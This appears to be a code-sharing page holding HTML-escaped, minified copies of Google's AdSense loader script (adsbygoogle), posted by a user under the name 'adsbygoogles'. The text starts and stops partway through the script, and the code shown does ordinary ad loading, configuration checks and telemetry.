Sd);b.google_reactive_ads_global_state.wasPlaTagProcessed=!0;wa.body?Yg(a):Bb(wa,&quot;DOMContentLoaded&quot;,fd(191,function(){Yg(a)}))},ah=function(a){var b={};ed(165,hd,function(){$g(a,b)},function(c){c.client=c.client||b.google_ad_client||a.google_ad_client;c.slotname=c.slotname||b.google_ad_slot;c.tag_origin=c.tag_origin||b.google_tag_origin})},$g=function(a,b){va=(new Date).getTime();a:{if(void 0!=a.enable_page_level_ads){if(na(a.google_ad_client)){var c=!0;break a}throw new H(&quot;&#039;google_ad_client&#039; is missing from the tag config.&quot;)}c=!1}if(c)0===Og&amp;&amp;(Og=1),Wg(a.google_ad_client),Zg(a);else{0===Og&amp;&amp;(Og=2);c=a.element;(a=a.params)&amp;&amp;Hb(a,function(a,c){b[c]=a});if(&quot;js&quot;===b.google_ad_output){l.google_ad_request_done_fns=l.google_ad_request_done_fns||[];l.google_radlink_request_done_fns=l.google_radlink_request_done_fns||[];if(b.google_ad_request_done){if(&quot;function&quot;!=t(b.google_ad_request_done))throw new H(&quot;google_ad_request_done parameter must be a function.&quot;);l.google_ad_request_done_fns.push(b.google_ad_request_done);delete b.google_ad_request_done;b.google_ad_request_done_index=l.google_ad_request_done_fns.length-1}else throw new H(&quot;google_ad_request_done parameter must be specified.&quot;);if(b.google_radlink_request_done){if(&quot;function&quot;!=t(b.google_radlink_request_done))throw new H(&quot;google_radlink_request_done parameter must be a function.&quot;);l.google_radlink_request_done_fns.push(b.google_radlink_request_done);delete b.google_radlink_request_done;b.google_radlink_request_done_index=l.google_radlink_request_done_fns.length-1}a=Xg();l.document.documentElement.appendChild(a);c=a}if(c){if(!Rg(c)&amp;&amp;(c.id?c=Vg(c.id):c=null,!c))throw new H(&quot;&#039;element&#039; has already been filled.&quot;);if(!(&quot;innerHTML&quot;in c))throw new H(&quot;&#039;element&#039; is not a good DOM element.&quot;)}else if(c=Vg(),!c)throw new H(&quot;All ins elements in the DOM with class=adsbygoogle already have ads in them.&quot;);Tg(c,b)}},ch=function(){dd();ed(166,id,bh)},bh=function(){var a=Eb(Db(v))||v;Be(a);ad(B(v,ee.B)||B(v,ce.B)||B(v,ce.da));Gg();if(B(v,ne.ha)||B(v,ne.Z)||B(v,ne.ga)||B(v,ne.fa))zg(),wg(&quot;.google.co.id&quot;)&amp;&amp;(X[1]=&quot;.google.co.id&quot;),B(v,ne.Z)?(a=cb(),Cg(a),Bg(a)):Bg(null);if((a=window.adsbygoogle)&amp;&amp;a.shift)try{for(var b,c=20;0&lt;a.length&amp;&amp;(b=a.shift())&amp;&amp;0&lt;c;)ah(b),--c}catch(d){throw window.setTimeout(ch,0),d}if(!a||!a.loaded){B(v,pe.u)&amp;&amp;(b=qd()?Ba(&quot;&quot;,&quot;pagead2.googlesyndication.com&quot;):zb(),tg(Pb().document,b,&quot;preconnect&quot;));window.adsbygoogle={push:ah,loaded:!0};a&amp;&amp;dh(a.onload);try{Object.defineProperty(window.adsbygoogle,&quot;onload&quot;,{set:dh})}catch(d){}}},dh=function(a){Jb(a)&amp;&amp;window.setTimeout(a,0)};ch()}).call(this)

    From user edipurmail

  • edipurmail / adsbygoogles

    unknown-21-m, (function(){var aa=&quot;function&quot;==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},ba;if(&quot;function&quot;==typeof Object.setPrototypeOf)ba=Object.setPrototypeOf;else{var ca;a:{var ea={a:!0},fa={};try{fa.__proto__=ea;ca=fa.a;break a}catch(a){}ca=!1}ba=ca?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+&quot; is not extensible&quot;);return a}:null}var ha=ba,ia=function(a,b){a.prototype=aa(b.prototype);a.prototype.constructor=a;if(ha)ha(a,b);else for(var c in b)if(&quot;prototype&quot;!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&amp;&amp;Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ea=b.prototype},ja=&quot;function&quot;==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&amp;&amp;a!=Object.prototype&amp;&amp;(a[b]=c.value)},ka=&quot;undefined&quot;!=typeof window&amp;&amp;window===this?this:&quot;undefined&quot;!=typeof global&amp;&amp;null!=global?global:this,la=function(a,b){if(b){var c=ka;a=a.split(&quot;.&quot;);for(var d=0;d&lt;a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&amp;&amp;null!=b&amp;&amp;ja(c,a,{configurable:!0,writable:!0,value:b})}},ma=&quot;function&quot;==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c&lt;arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&amp;&amp;(a[e]=d[e])}return a};la(&quot;Object.assign&quot;,function(a){return a||ma});la(&quot;Number.isNaN&quot;,function(a){return a?a:function(a){return&quot;number&quot;===typeof a&amp;&amp;isNaN(a)}});var l=this,na=function(a){return&quot;string&quot;==typeof a},r=function(a){return&quot;number&quot;==typeof a},oa=function(){},t=function(a){var b=typeof a;if(&quot;object&quot;==b)if(a){if(a instanceof Array)return&quot;array&quot;;if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if(&quot;[object Window]&quot;==c)return&quot;object&quot;;if(&quot;[object Array]&quot;==c||&quot;number&quot;==typeof a.length&amp;&amp;&quot;undefined&quot;!=typeof a.splice&amp;&amp;&quot;undefined&quot;!=typeof a.propertyIsEnumerable&amp;&amp;!a.propertyIsEnumerable(&quot;splice&quot;))return&quot;array&quot;;if(&quot;[object Function]&quot;==c||&quot;undefined&quot;!=typeof a.call&amp;&amp;&quot;undefined&quot;!=typeof a.propertyIsEnumerable&amp;&amp;!a.propertyIsEnumerable(&quot;call&quot;))return&quot;function&quot;}else return&quot;null&quot;;else if(&quot;function&quot;==b&amp;&amp;&quot;undefined&quot;==typeof a.call)return&quot;object&quot;;return b},pa=function(a){var b=typeof a;return&quot;object&quot;==b&amp;&amp;null!=a||&quot;function&quot;==b},qa=function(a,b,c){return a.call.apply(a.bind,arguments)},ra=function(a,b,c){if(!a)throw Error();if(2&lt;arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},sa=function(a,b,c){Function.prototype.bind&amp;&amp;-1!=Function.prototype.bind.toString().indexOf(&quot;native code&quot;)?sa=qa:sa=ra;return sa.apply(null,arguments)},ta=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}},ua=function(a,b){function c(){}c.prototype=b.prototype;a.Ea=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.Fa=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e&lt;arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}};var va=(new Date).getTime();var wa=document,v=window;var xa={&quot;120x90&quot;:!0,&quot;160x90&quot;:!0,&quot;180x90&quot;:!0,&quot;200x90&quot;:!0,&quot;468x15&quot;:!0,&quot;728x15&quot;:!0},ya=function(a,b){if(15==b){if(728&lt;=a)return 728;if(468&lt;=a)return 468}else if(90==b){if(200&lt;=a)return 200;if(180&lt;=a)return 180;if(160&lt;=a)return 160;if(120&lt;=a)return 120}return null};var za=function(a,b){a=parseInt(a,10);return isNaN(a)?b:a},Aa=/^([\w-]+\.)*([\w-]{2,})(:[0-9]+)?$/,Ba=function(a,b){return a?(a=a.match(Aa))?a[0]:b:b};var Ca=za(&quot;468&quot;,0);var Da=function(a,b){for(var c=a.length,d=na(a)?a.split(&quot;&quot;):a,e=0;e&lt;c;e++)e in d&amp;&amp;b.call(void 0,d[e],e,a)},Ea=function(a){return Array.prototype.concat.apply([],arguments)};var Fa=function(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return c};var Ha=function(){this.j=&quot;&quot;;this.l=Ga};Ha.prototype.na=!0;Ha.prototype.aa=function(){return this.j};var Ia=function(a){if(a instanceof Ha&amp;&amp;a.constructor===Ha&amp;&amp;a.l===Ga)return a.j;t(a);return&quot;type_error:TrustedResourceUrl&quot;},Ga={};var Ja=function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]},Ra=function(a){if(!Ka.test(a))return a;-1!=a.indexOf(&quot;&amp;&quot;)&amp;&amp;(a=a.replace(La,&quot;&amp;amp;&quot;));-1!=a.indexOf(&quot;&lt;&quot;)&amp;&amp;(a=a.replace(Ma,&quot;&amp;lt;&quot;));-1!=a.indexOf(&quot;&gt;&quot;)&amp;&amp;(a=a.replace(Na,&quot;&amp;gt;&quot;));-1!=a.indexOf(&#039;&quot;&#039;)&amp;&amp;(a=a.replace(Oa,&quot;&amp;quot;&quot;));-1!=a.indexOf(&quot;&#039;&quot;)&amp;&amp;(a=a.replace(Pa,&quot;&amp;#39;&quot;));-1!=a.indexOf(&quot;\x00&quot;)&amp;&amp;(a=a.replace(Qa,&quot;&amp;#0;&quot;));return a},La=/&amp;/g,Ma=/&lt;/g,Na=/&gt;/g,Oa=/&quot;/g,Pa=/&#039;/g,Qa=/\x00/g,Ka=/[\x00&amp;&lt;&gt;&quot;&#039;]/,Sa={&quot;\x00&quot;:&quot;\\0&quot;,&quot;\b&quot;:&quot;\\b&quot;,&quot;\f&quot;:&quot;\\f&quot;,&quot;\n&quot;:&quot;\\n&quot;,&quot;\r&quot;:&quot;\\r&quot;,&quot;\t&quot;:&quot;\\t&quot;,&quot;\x0B&quot;:&quot;\\x0B&quot;,&#039;&quot;&#039;:&#039;\\&quot;&#039;,&quot;\\&quot;:&quot;\\\\&quot;,&quot;&lt;&quot;:&quot;&lt;&quot;},Ta={&quot;&#039;&quot;:&quot;\\&#039;&quot;},Ua=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};var Wa=function(){this.ba=&quot;&quot;;this.wa=Va};Wa.prototype.na=!0;Wa.prototype.aa=function(){return this.ba};var Xa=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,Va={},Ya=function(a){var b=new Wa;b.ba=a;return b};Ya(&quot;about:blank&quot;);var Za;a:{var $a=l.navigator;if($a){var ab=$a.userAgent;if(ab){Za=ab;break a}}Za=&quot;&quot;}var w=function(a){return-1!=Za.indexOf(a)};var bb=function(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}},cb=function(){var a=oa;return function(){if(a){var b=a;a=null;b()}}};var eb=function(a){db();var b=new Ha;b.j=a;return b},db=oa;var fb=function(a){fb[&quot; &quot;](a);return a};fb[&quot; &quot;]=oa;var gb=w(&quot;Opera&quot;),hb=-1!=Za.toLowerCase().indexOf(&quot;webkit&quot;)&amp;&amp;!w(&quot;Edge&quot;);var ib=/^[\w+/_-]+[=]{0,2}$/,jb=function(){var a=l.document.querySelector(&quot;script[nonce]&quot;);if(a&amp;&amp;(a=a.nonce||a.getAttribute(&quot;nonce&quot;))&amp;&amp;ib.test(a))return a};var x=function(a){try{var b;if(b=!!a&amp;&amp;null!=a.location.href)a:{try{fb(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}},kb=function(a,b){var c=[l.top],d=[],e=0;b=b||1024;for(var f;f=c[e++];){a&amp;&amp;!x(f)||d.push(f);try{if(f.frames)for(var g=f.frames.length,h=0;h&lt;g&amp;&amp;c.length&lt;b;++h)c.push(f.frames[h])}catch(k){}}return d},lb=function(a,b){var c=a.createElement(&quot;script&quot;);b=eb(b);c.src=Ia(b);(a=a.getElementsByTagName(&quot;script&quot;)[0])&amp;&amp;a.parentNode&amp;&amp;a.parentNode.insertBefore(c,a)},y=function(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle},mb=function(a){if(!a.crypto)return Math.random();try{var b=new Uint32Array(1);a.crypto.getRandomValues(b);return b[0]/65536/65536}catch(c){return Math.random()}},nb=function(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&amp;&amp;b.call(void 0,a[c],c,a)},ob=function(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d&lt;b;d++)c^=(c&lt;&lt;5)+(c&gt;&gt;2)+a.charCodeAt(d)&amp;4294967295;return 0&lt;c?c:4294967296+c},pb=bb(function(){return-1!=Za.indexOf(&quot;Google Web Preview&quot;)||1E-4&gt;Math.random()}),qb=/^([0-9.]+)px$/,rb=/^(-?[0-9.]{1,30})$/,sb=function(a){return rb.test(a)&amp;&amp;(a=Number(a),!isNaN(a))?a:null},tb=function(a,b){return b?!/^false$/.test(a):/^true$/.test(a)},A=function(a){return(a=qb.exec(a))?+a[1]:null};var ub=function(){return&quot;r20180214&quot;},vb=tb(&quot;false&quot;,!1),wb=tb(&quot;false&quot;,!1),xb=tb(&quot;false&quot;,!1),yb=xb||!wb;var zb=function(){return Ba(&quot;&quot;,&quot;googleads.g.doubleclick.net&quot;)};var Ab=function(a){this.j=a||l.document||document};var Bb=function(a,b,c){a.addEventListener?a.addEventListener(b,c,void 0):a.attachEvent&amp;&amp;a.attachEvent(&quot;on&quot;+b,c)},Cb=function(a,b,c){a.removeEventListener?a.removeEventListener(b,c,void 0):a.detachEvent&amp;&amp;a.detachEvent(&quot;on&quot;+b,c)};var Db=function(a){a=a||l;var b=a.context;if(!b)try{b=a.parent.context}catch(c){}try{if(b&amp;&amp;&quot;pageViewId&quot;in b&amp;&amp;&quot;canonicalUrl&quot;in b)return b}catch(c){}return null},Eb=function(a){a=a||Db();if(!a)return null;a=a.master;return x(a)?a:null};var Fb=function(a,b){l.google_image_requests||(l.google_image_requests=[]);var c=l.document.createElement(&quot;img&quot;);if(b){var d=function(a){b(a);Cb(c,&quot;load&quot;,d);Cb(c,&quot;error&quot;,d)};Bb(c,&quot;load&quot;,d);Bb(c,&quot;error&quot;,d)}c.src=a;l.google_image_requests.push(c)};var Gb=Object.prototype.hasOwnProperty,Hb=function(a,b){for(var c in a)Gb.call(a,c)&amp;&amp;b.call(void 0,a[c],c,a)},Ib=Object.assign||function(a,b){for(var c=1;c&lt;arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Gb.call(d,e)&amp;&amp;(a[e]=d[e])}return a},Jb=function(a){return!(!a||!a.call)&amp;&amp;&quot;function&quot;===typeof a},Kb=function(a,b){for(var c=1,d=arguments.length;c&lt;d;++c)a.push(arguments[c])},Lb=function(a,b){if(a.indexOf)return a=a.indexOf(b),0&lt;a||0===a;for(var c=0;c&lt;a.length;c++)if(a[c]===b)return!0;return!1},Mb=function(a){a=Eb(Db(a))||a;a.google_unique_id?++a.google_unique_id:a.google_unique_id=1},Nb=!!window.google_async_iframe_id,Ob=Nb&amp;&amp;window.parent||window,Pb=function(){if(Nb&amp;&amp;!x(Ob)){var a=&quot;.&quot;+wa.domain;try{for(;2&lt;a.split(&quot;.&quot;).length&amp;&amp;!x(Ob);)wa.domain=a=a.substr(a.indexOf(&quot;.&quot;)+1),Ob=window.parent}catch(b){}x(Ob)||(Ob=window)}return Ob},Qb=/(^| )adsbygoogle($| )/,Rb=function(a){a=vb&amp;&amp;a.google_top_window||a.top;return x(a)?a:null};var B=function(a,b){a=a.google_ad_modifications;return Lb(a?a.eids||[]:[],b)},C=function(a,b){a=a.google_ad_modifications;return Lb(a?a.loeids||[]:[],b)},Sb=function(a,b,c){if(!a)return null;for(var d=0;d&lt;a.length;++d)if((a[d].ad_slot||b)==b&amp;&amp;(a[d].ad_tag_origin||c)==c)return a[d];return null};var Tb={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5,full_page:6};var Ub=function(a){for(var b=[],c=0,d=0;d&lt;a.length;d++){var e=a.charCodeAt(d);255&lt;e&amp;&amp;(b[c++]=e&amp;255,e&gt;&gt;=8);b[c++]=e}return b};var Vb=w(&quot;Safari&quot;)&amp;&amp;!((w(&quot;Chrome&quot;)||w(&quot;CriOS&quot;))&amp;&amp;!w(&quot;Edge&quot;)||w(&quot;Coast&quot;)||w(&quot;Opera&quot;)||w(&quot;Edge&quot;)||w(&quot;Silk&quot;)||w(&quot;Android&quot;))&amp;&amp;!(w(&quot;iPhone&quot;)&amp;&amp;!w(&quot;iPod&quot;)&amp;&amp;!w(&quot;iPad&quot;)||w(&quot;iPad&quot;)||w(&quot;iPod&quot;));var Wb=null,Xb=null,Yb=w(&quot;Gecko&quot;)&amp;&amp;!(-1!=Za.toLowerCase().indexOf(&quot;webkit&quot;)&amp;&amp;!w(&quot;Edge&quot;))&amp;&amp;!(w(&quot;Trident&quot;)||w(&quot;MSIE&quot;))&amp;&amp;!w(&quot;Edge&quot;)||hb&amp;&amp;!Vb||gb||&quot;function&quot;==typeof l.btoa,Zb=function(a,b){if(!Wb){Wb={};Xb={};for(var c=0;65&gt;c;c++)Wb[c]=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;.charAt(c),Xb[c]=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.&quot;.charAt(c)}b=b?Xb:Wb;c=[];for(var d=0;d&lt;a.length;d+=3){var e=a[d],f=d+1&lt;a.length,g=f?a[d+1]:0,h=d+2&lt;a.length,k=h?a[d+2]:0,m=e&gt;&gt;2;e=(e&amp;3)&lt;&lt;4|g&gt;&gt;4;g=(g&amp;15)&lt;&lt;2|k&gt;&gt;6;k&amp;=63;h||(k=64,f||(g=64));c.push(b[m],b[e],b[g],b[k])}return c.join(&quot;&quot;)};var D=function(){},$b=&quot;function&quot;==typeof Uint8Array,cc=function(a,b,c){a.j=null;b||(b=[]);a.C=void 0;a.s=-1;a.l=b;a:{if(a.l.length){b=a.l.length-1;var d=a.l[b];if(d&amp;&amp;&quot;object&quot;==typeof d&amp;&amp;&quot;array&quot;!=t(d)&amp;&amp;!($b&amp;&amp;d instanceof Uint8Array)){a.v=b-a.s;a.o=d;break a}}a.v=Number.MAX_VALUE}a.A={};if(c)for(b=0;b&lt;c.length;b++)d=c[b],d&lt;a.v?(d+=a.s,a.l[d]=a.l[d]||ac):(bc(a),a.o[d]=a.o[d]||ac)},ac=[],bc=function(a){var b=a.v+a.s;a.l[b]||(a.o=a.l[b]={})},E=function(a,b){if(b&lt;a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}if(a.o)return c=a.o[b],c===ac?a.o[b]=[]:c},dc=function(a,b){if(b&lt;a.v){b+=a.s;var c=a.l[b];return c===ac?a.l[b]=[]:c}c=a.o[b];return c===ac?a.o[b]=[]:c},ec=function(a,b,c){a.j||(a.j={});if(!a.j[c]){var d=E(a,c);d&amp;&amp;(a.j[c]=new b(d))}return a.j[c]},fc=function(a,b,c){a.j||(a.j={});if(!a.j[c]){for(var d=dc(a,c),e=[],f=0;f&lt;d.length;f++)e[f]=new b(d[f]);a.j[c]=e}b=a.j[c];b==ac&amp;&amp;(b=a.j[c]=[]);return b},gc=function(a){if(a.j)for(var b in a.j){var c=a.j[b];if(&quot;array&quot;==t(c))for(var d=0;d&lt;c.length;d++)c[d]&amp;&amp;gc(c[d]);else c&amp;&amp;gc(c)}};D.prototype.toString=function(){gc(this);return this.l.toString()};var ic=function(a){cc(this,a,hc)};ua(ic,D);var hc=[4],jc=function(a){cc(this,a,null)};ua(jc,D);var kc=function(a){cc(this,a,null)};ua(kc,D);var mc=function(a){cc(this,a,lc)};ua(mc,D);var lc=[6,7,9,10];var oc=function(a){cc(this,a,nc)};ua(oc,D);var nc=[1,2,5,7],pc=function(a){cc(this,a,null)};ua(pc,D);var rc=function(a){cc(this,a,qc)};ua(rc,D);var qc=[2];var sc=function(a,b,c){c=void 0===c?{}:c;this.error=a;this.context=b.context;this.line=b.line||-1;this.msg=b.message||&quot;&quot;;this.file=b.file||&quot;&quot;;this.id=b.id||&quot;jserror&quot;;this.meta=c};var tc=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,uc=function(a,b){this.j=a;this.l=b},vc=function(a,b,c){this.url=a;this.j=b;this.oa=!!c;this.depth=r(void 0)?void 0:null};var wc=function(){this.o=&quot;&amp;&quot;;this.s=!1;this.l={};this.v=0;this.j=[]},xc=function(a,b){var c={};c[a]=b;return[c]},zc=function(a,b,c,d,e){var f=[];nb(a,function(a,h){(a=yc(a,b,c,d,e))&amp;&amp;f.push(h+&quot;=&quot;+a)});return f.join(b)},yc=function(a,b,c,d,e){if(null==a)return&quot;&quot;;b=b||&quot;&amp;&quot;;c=c||&quot;,$&quot;;&quot;string&quot;==typeof c&amp;&amp;(c=c.split(&quot;&quot;));if(a instanceof Array){if(d=d||0,d&lt;c.length){for(var f=[],g=0;g&lt;a.length;g++)f.push(yc(a[g],b,c,d+1,e));return f.join(c[d])}}else if(&quot;object&quot;==typeof a)return e=e||0,2&gt;e?encodeURIComponent(zc(a,b,c,d,e+1)):&quot;...&quot;;return encodeURIComponent(String(a))},Ac=function(a,b,c,d){a.j.push(b);a.l[b]=xc(c,d)},Cc=function(a,b,c,d){b=b+&quot;//&quot;+c+d;var e=Bc(a)-d.length;if(0&gt;e)return&quot;&quot;;a.j.sort(function(a,b){return a-b});d=null;c=&quot;&quot;;for(var f=0;f&lt;a.j.length;f++)for(var g=a.j[f],h=a.l[g],k=0;k&lt;h.length;k++){if(!e){d=null==d?g:d;break}var m=zc(h[k],a.o,&quot;,$&quot;);if(m){m=c+m;if(e&gt;=m.length){e-=m.length;b+=m;c=a.o;break}else a.s&amp;&amp;(c=e,m[c-1]==a.o&amp;&amp;--c,b+=m.substr(0,c),c=a.o,e=0);d=null==d?g:d}}a=&quot;&quot;;null!=d&amp;&amp;(a=c+&quot;trn=&quot;+d);return b+a},Bc=function(a){var b=1,c;for(c in a.l)b=c.length&gt;b?c.length:b;return 3997-b-a.o.length-1};var Dc=function(a,b,c,d,e,f){if((d?a.v:Math.random())&lt;(e||a.j))try{if(c instanceof wc)var g=c;else g=new wc,nb(c,function(a,b){var c=g,d=c.v++;a=xc(b,a);c.j.push(d);c.l[d]=a});var h=Cc(g,a.s,a.l,a.o+b+&quot;&amp;&quot;);h&amp;&amp;(&quot;undefined&quot;===typeof f?Fb(h,void 0):Fb(h,f))}catch(k){}};var Ec=function(a,b){this.start=a&lt;b?a:b;this.j=a&lt;b?b:a};var Fc=function(a,b){this.j=b&gt;=a?new Ec(a,b):null},Gc=function(a){var b;try{a.localStorage&amp;&amp;(b=parseInt(a.localStorage.getItem(&quot;google_experiment_mod&quot;),10))}catch(c){return null}if(0&lt;=b&amp;&amp;1E3&gt;b)return b;if(pb())return null;b=Math.floor(1E3*mb(a));try{if(a.localStorage)return a.localStorage.setItem(&quot;google_experiment_mod&quot;,&quot;&quot;+b),b}catch(c){}return null};var Hc=!1,Ic=null,Jc=function(){if(null===Ic){Ic=&quot;&quot;;try{var a=&quot;&quot;;try{a=l.top.location.hash}catch(c){a=l.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Ic=b?b[1]:&quot;&quot;}}catch(c){}}return Ic},Kc=function(a,b){var c;c=(c=Jc())?(c=c.match(new RegExp(&quot;\\b(&quot;+a.join(&quot;|&quot;)+&quot;)\\b&quot;)))?c[0]:null:null;if(c)a=c;else if(Hc)a=null;else a:{if(!pb()&amp;&amp;(c=Math.random(),c&lt;b)){c=mb(l);a=a[Math.floor(c*a.length)];break a}a=null}return a};var Lc=function(){var a=l.performance;return a&amp;&amp;a.now&amp;&amp;a.timing?Math.floor(a.now()+a.timing.navigationStart):+new Date},Mc=function(){var a=void 0===a?l:a;return(a=a.performance)&amp;&amp;a.now?a.now():null};var Nc=function(a,b,c){this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=this.label+&quot;_&quot;+this.type+&quot;_&quot;+Math.random();this.slotId=void 0};var F=l.performance,Oc=!!(F&amp;&amp;F.mark&amp;&amp;F.measure&amp;&amp;F.clearMarks),Pc=bb(function(){var a;if(a=Oc)a=Jc(),a=!!a.indexOf&amp;&amp;0&lt;=a.indexOf(&quot;1337&quot;);return a}),Rc=function(){var a=Qc;this.events=[];this.l=a||l;var b=null;a&amp;&amp;(a.google_js_reporting_queue=a.google_js_reporting_queue||[],this.events=a.google_js_reporting_queue,b=a.google_measure_js_timing);this.j=Pc()||(null!=b?b:1&gt;Math.random())},Sc=function(a){a&amp;&amp;F&amp;&amp;Pc()&amp;&amp;(F.clearMarks(&quot;goog_&quot;+a.uniqueId+&quot;_start&quot;),F.clearMarks(&quot;goog_&quot;+a.uniqueId+&quot;_end&quot;))};Rc.prototype.start=function(a,b){if(!this.j)return null;var c=Mc()||Lc();a=new Nc(a,b,c);b=&quot;goog_&quot;+a.uniqueId+&quot;_start&quot;;F&amp;&amp;Pc()&amp;&amp;F.mark(b);return a};var Vc=function(){var a=Tc;this.A=Uc;this.s=!0;this.o=null;this.C=this.j;this.l=void 0===a?null:a;this.v=!1},Yc=function(a,b,c,d,e){try{if(a.l&amp;&amp;a.l.j){var f=a.l.start(b.toString(),3);var g=c();var h=a.l;c=f;if(h.j&amp;&amp;r(c.value)){var k=Mc()||Lc();c.duration=k-c.value;var m=&quot;goog_&quot;+c.uniqueId+&quot;_end&quot;;F&amp;&amp;Pc()&amp;&amp;F.mark(m);h.j&amp;&amp;h.events.push(c)}}else g=c()}catch(n){h=a.s;try{Sc(f),h=(e||a.C).call(a,b,new Wc(Xc(n),n.fileName,n.lineNumber),void 0,d)}catch(p){a.j(217,p)}if(!h)throw n}return g},Zc=function(a,b){var c=G;return function(d){for(var e=[],f=0;f&lt;arguments.length;++f)e[f]=arguments[f];return Yc(c,a,function(){return b.apply(void 0,e)},void 0,void 0)}};Vc.prototype.j=function(a,b,c,d,e){e=e||&quot;jserror&quot;;try{var f=new wc;f.s=!0;Ac(f,1,&quot;context&quot;,a);b.error&amp;&amp;b.meta&amp;&amp;b.id||(b=new Wc(Xc(b),b.fileName,b.lineNumber));b.msg&amp;&amp;Ac(f,2,&quot;msg&quot;,b.msg.substring(0,512));b.file&amp;&amp;Ac(f,3,&quot;file&quot;,b.file);0&lt;b.line&amp;&amp;Ac(f,4,&quot;line&quot;,b.line);var g=b.meta||{};if(this.o)try{this.o(g)}catch(da){}if(d)try{d(g)}catch(da){}b=[g];f.j.push(5);f.l[5]=b;g=l;b=[];var h=null;do{d=g;if(x(d)){var k=d.location.href;h=d.document&amp;&amp;d.document.referrer||null}else k=h,h=null;b.push(new vc(k||&quot;&quot;,d));try{g=d.parent}catch(da){g=null}}while(g&amp;&amp;d!=g);k=0;for(var m=b.length-1;k&lt;=m;++k)b[k].depth=m-k;d=l;if(d.location&amp;&amp;d.location.ancestorOrigins&amp;&amp;d.location.ancestorOrigins.length==b.length-1)for(k=1;k&lt;b.length;++k){var n=b[k];n.url||(n.url=d.location.ancestorOrigins[k-1]||&quot;&quot;,n.oa=!0)}var p=new vc(l.location.href,l,!1);m=null;var q=b.length-1;for(n=q;0&lt;=n;--n){var u=b[n];!m&amp;&amp;tc.test(u.url)&amp;&amp;(m=u);if(u.url&amp;&amp;!u.oa){p=u;break}}u=null;var z=b.length&amp;&amp;b[q].url;0!=p.depth&amp;&amp;z&amp;&amp;(u=b[q]);var J=new uc(p,u);J.l&amp;&amp;Ac(f,6,&quot;top&quot;,J.l.url||&quot;&quot;);Ac(f,7,&quot;url&quot;,J.j.url||&quot;&quot;);Dc(this.A,e,f,this.v,c)}catch(da){try{Dc(this.A,e,{context:&quot;ecmserr&quot;,rctx:a,msg:Xc(da),url:J&amp;&amp;J.j.url},this.v,c)}catch(eh){}}return this.s};var Xc=function(a){var b=a.toString();a.name&amp;&amp;-1==b.indexOf(a.name)&amp;&amp;(b+=&quot;: &quot;+a.name);a.message&amp;&amp;-1==b.indexOf(a.message)&amp;&amp;(b+=&quot;: &quot;+a.message);if(a.stack){a=a.stack;var c=b;try{-1==a.indexOf(c)&amp;&amp;(a=c+&quot;\n&quot;+a);for(var d;a!=d;)d=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,&quot;$1&quot;);b=a.replace(/\n */g,&quot;\n&quot;)}catch(e){b=c}}return b},Wc=function(a,b,c){sc.call(this,Error(a),{message:a,file:void 0===b?&quot;&quot;:b,line:void 0===c?-1:c})};ia(Wc,sc);var H=function(a){a=void 0===a?&quot;&quot;:a;var b=Error.call(this);this.message=b.message;&quot;stack&quot;in b&amp;&amp;(this.stack=b.stack);this.name=&quot;TagError&quot;;this.message=a?&quot;adsbygoogle.push() error: &quot;+a:&quot;&quot;;Error.captureStackTrace?Error.captureStackTrace(this,H):this.stack=Error().stack||&quot;&quot;};ia(H,Error);var $c=function(a){return 0==(a.error&amp;&amp;a.meta&amp;&amp;a.id?a.msg||Xc(a.error):Xc(a)).indexOf(&quot;TagError&quot;)};var Uc,G,Qc=Pb(),Tc=new Rc,ad=function(a){null!=a&amp;&amp;(Qc.google_measure_js_timing=a);Qc.google_measure_js_timing||(a=Tc,a.j=!1,a.events!=a.l.google_js_reporting_queue&amp;&amp;(Pc()&amp;&amp;Da(a.events,Sc),a.events.length=0))};Uc=new function(){var a=void 0===a?v:a;this.s=&quot;http:&quot;===a.location.protocol?&quot;http:&quot;:&quot;https:&quot;;this.l=&quot;pagead2.googlesyndication.com&quot;;this.o=&quot;/pagead/gen_204?id=&quot;;this.j=.01;this.v=Math.random()};G=new Vc;&quot;complete&quot;==Qc.document.readyState?ad():Tc.j&amp;&amp;Bb(Qc,&quot;load&quot;,function(){ad()});var dd=function(){var a=[bd,cd];G.o=function(b){Da(a,function(a){a(b)})}},ed=function(a,b,c,d){return Yc(G,a,c,d,b)},fd=function(a,b){return 